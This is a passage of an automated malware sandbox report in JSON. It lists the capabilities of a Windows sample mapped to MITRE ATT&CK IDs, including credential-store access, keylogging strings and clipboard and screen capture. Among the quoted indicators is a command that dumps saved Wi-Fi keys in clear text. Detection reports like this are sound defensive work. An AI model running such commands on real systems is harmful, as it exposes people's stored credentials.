(Indicator: \"\\system32\\drivers\\etc\\hosts\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"C:\\Windows\\System32\\drivers\\etc\\hosts\" (Indicator: \"\\system32\\drivers\\etc\\hosts\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-479","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopW\" (Indicator: \"CreateDesktop\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"CreateDesktopW\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to empty the recycle bin (API string)","description":"Found reference to API \"SHEmptyRecycleBinA\" (Indicator: \"EmptyRecycleBin\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"SHEmptyRecycleBinA\" (Indicator: \"EmptyRecycleBin\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-111","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Ransomware/Banking","name":"Imports SHEmptyRecycleBin API","description":"Observed import api \"SHEmptyRecycleBin\" which can \"empty the Recycle Bin on the specified drive\" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin]","origin":"Static Parser","mitre_attack_id":"T1070","relevance":1,"id":"static-84","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Remote Access Related","name":"Able to connect to a cloud service","description":"Found string \"%s\\gcloud\" (Indicator: \"gcloud\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"DevTools/GCloud/%s\" (Indicator: \"gcloud\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"%s\\gcloud\" (Indicator: \"gcloud\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found string \"DevTools/GCloud/%s\" (Indicator: \"gcloud\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1021.007","relevance":1,"id":"string-767","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to perform remote desktop activity","description":"WTSFreeMemory@WTSAPI32.dll at 10149-7741-000000014015980A\n WTSFreeMemory@WTSAPI32.dll at 10149-7752-0000000140159DC8","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1021.001","relevance":5,"id":"stream-137","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to perform remote desktop activity (API string)","description":"Found reference to API \"WTSFreeMemory\" (Indicator: \"WTSFreeMemory\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"WTSLogoffSession\" (Indicator: \"WTSLogoffSession\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")","origin":"File/Memory","mitre_attack_id":"T1021.001","relevance":1,"id":"string-436","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information","description":"WTSQuerySessionInformationW@WTSAPI32.dll at 10149-7741-000000014015980A\n WTSQuerySessionInformationW@WTSAPI32.dll at 10149-7752-0000000140159DC8\n WTSEnumerateSessionsW@WTSAPI32.dll at 10149-7754-0000000140159790","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1018","relevance":5,"id":"stream-138","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information (API string)","description":"Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"WTSQuerySessionInformationW\" (Indicator: \"WTSQuerySessionInformation\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"WTSQuerySessionInformationW\" (Indicator: \"WTSQuerySessionInformation\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"WTSEnumerateSessionsW\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-546","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access VPN profile file","description":"Found string \"%s\\Cisco\\Cisco AnyConnect Secure Mobility Client\\Profile\" (Indicator: \"\\cisco\\cisco anyconnect secure mobility client\\profile\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"%s\\Cisco\\Cisco AnyConnect Secure Mobility Client\\Profile\" (Indicator: \"\\cisco\\cisco anyconnect secure mobility client\\profile\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-857","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access Windows Vault","description":"Found string \"VaultEnumerateVaults\" (Indicator: \"VaultEnumerateVaults\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"VaultOpenVault\" (Indicator: \"VaultOpenVault\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"VaultEnumerateItems\" (Indicator: \"VaultEnumerateItems\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"VaultGetItem8\" (Indicator: \"VaultGetItem\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"VaultFree\" (Indicator: \"VaultFree\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"VaultCloseVault\" (Indicator: \"VaultCloseVault\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"VaultGetItem7\" (Indicator: \"VaultGetItem\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":1,"id":"string-627","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access password managers","description":"$61","origin":"File/Memory","mitre_attack_id":"T1555.005","relevance":3,"id":"string-10057","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access web session cookie","description":"$62","origin":"File/Memory","mitre_attack_id":"T1550.004","relevance":1,"id":"string-794","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture drag-drop file operations","description":"Found string \"DragQueryFileW\" (File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"GetClipboardData\" (File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"DragQueryFileW\" (Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found string \"GetClipboardData\" (Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-915","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"$63","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsA\" (Indicator: \"getlogicaldrivestringsa\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found string \"GetLogicalDriveStringsA\" (Indicator: \"getlogicaldrivestringsa\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to discover operating system information (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"3070195771,2120,3024,,RtlGetVersion,NTDLL.dll,\"00:32:58.171\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006516.00000000.126823.C4040000.00000004.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to import GetCommandLine API, which retrieves the command line string for the current process","description":"Observed import api \"GetCommandLineA\" which can \"retrieve the command-line string for the current process\" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin]","origin":"Static Parser","mitre_attack_id":"T1059.003","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to monitor clipboard data (API string)","description":"Found string \"AddClipboardFormatListener\" (File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"AddClipboardFormatListener\" (Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-925","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"$64","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve Wi-Fi network credential in a non-encrypted format using netsh","description":"Found string \"cmd.exe /c chcp 65001 >nul && netsh wlan show profile name=\"%s\" key=clear > \"%s\"\" (File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"cmd.exe /c chcp 65001 >nul && netsh wlan show profile name=\"%s\" key=clear > \"%s\"\" (Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016.002","relevance":1,"id":"string-671","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve information about pressed keystrokes (API string)","description":"$65","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve the valid logical drives on the computer","description":"Observed import api \"GetLogicalDriveStringsA\" which can be \"used to retrieve a list of available drives (logical drives) in the system\" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin]\n Observed import api \"GetLogicalDriveStringsW\" which can be \"used to retrieve a list of available drives (logical drives) in the system\" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin]","origin":"Static Parser","mitre_attack_id":"T1083","relevance":5,"id":"static-192","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"$66","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\" \"%s\"\"\" (Indicator: \"Select-Object\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"cmd.exe /C \"powershell -NoProfile -Command \"Get-Volume | Select-Object DriveLetter,FileSystemLabel,FileSystem,DriveType,HealthStatus,SizeRemaining,Size | ConvertTo-Csv -NoTypeInformation\" > \"%s\"\"\" (Indicator: \"Select-Object\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-374","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$68","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to find logical drives of the machine (API string)","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStrings\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStrings\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"GetLogicalDriveStringsW\" (Indicator: \"GetLogicalDriveStrings\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStrings\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-84","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"NtReadFile\" (Indicator: \"NtReadFile\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056","relevance":1,"id":"string-403","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$69","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetProcAddressA\" (Indicator: \"GetProcAddress\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001716.00000000.127245.9F56B000.00000002.mdmp\")\n Found reference to API \"GetProcAddressA\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about MS-DOS device names (API string)","description":"Found reference to API \"QueryDosDeviceW\" (Indicator: \"QueryDosDevice\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"QueryDosDeviceW\" (Indicator: \"QueryDosDevice\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-227","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameExA\" (Indicator: \"GetComputerName\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001716.00000000.127245.9F56B000.00000002.mdmp\")\n Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"GetComputerNameExA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"K32GetModuleFileNameExA\" (Indicator: \"GetModuleFileName\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"K32GetModuleFileNameExW\" (Indicator: \"GetModuleFileName\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"K32GetModuleFileNameExW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"K32GetModuleFileNameExA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00001716.00000000.127245.9F56B000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00001716.00000000.127245.9F56B000.00000002.mdmp\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134","relevance":1,"id":"string-437","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to to enumerates the credentials (API string)","description":"Found reference to API \"CredEnumerateA\" (Indicator: \"CredEnumerate\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"CredEnumerateA\" (Indicator: \"CredEnumerate\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.004","relevance":1,"id":"string-81","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found mail information locations related strings","description":"$6c","origin":"File/Memory","mitre_attack_id":"T1114","relevance":1,"id":"string-129","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found registry key string for installed applications","description":"$6d","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-96","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found strings related to keylogger","description":"Found string \"[Backspace]\" (Indicator: \"[BACKSPACE]\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"[Backspace]\" (Indicator: \"[BACKSPACE]\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-556","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"$6e","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References Firefox browser credentials files","description":"Found string \"key4.db\" (Indicator: \"key4.db\"; in File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"key4.db\" (Indicator: \"key4.db\"; in Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1555.003","relevance":1,"id":"string-405","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"select * from Win32_OperatingSystem\" (Indicator: \" Win32_OperatingSystem\"; Source: 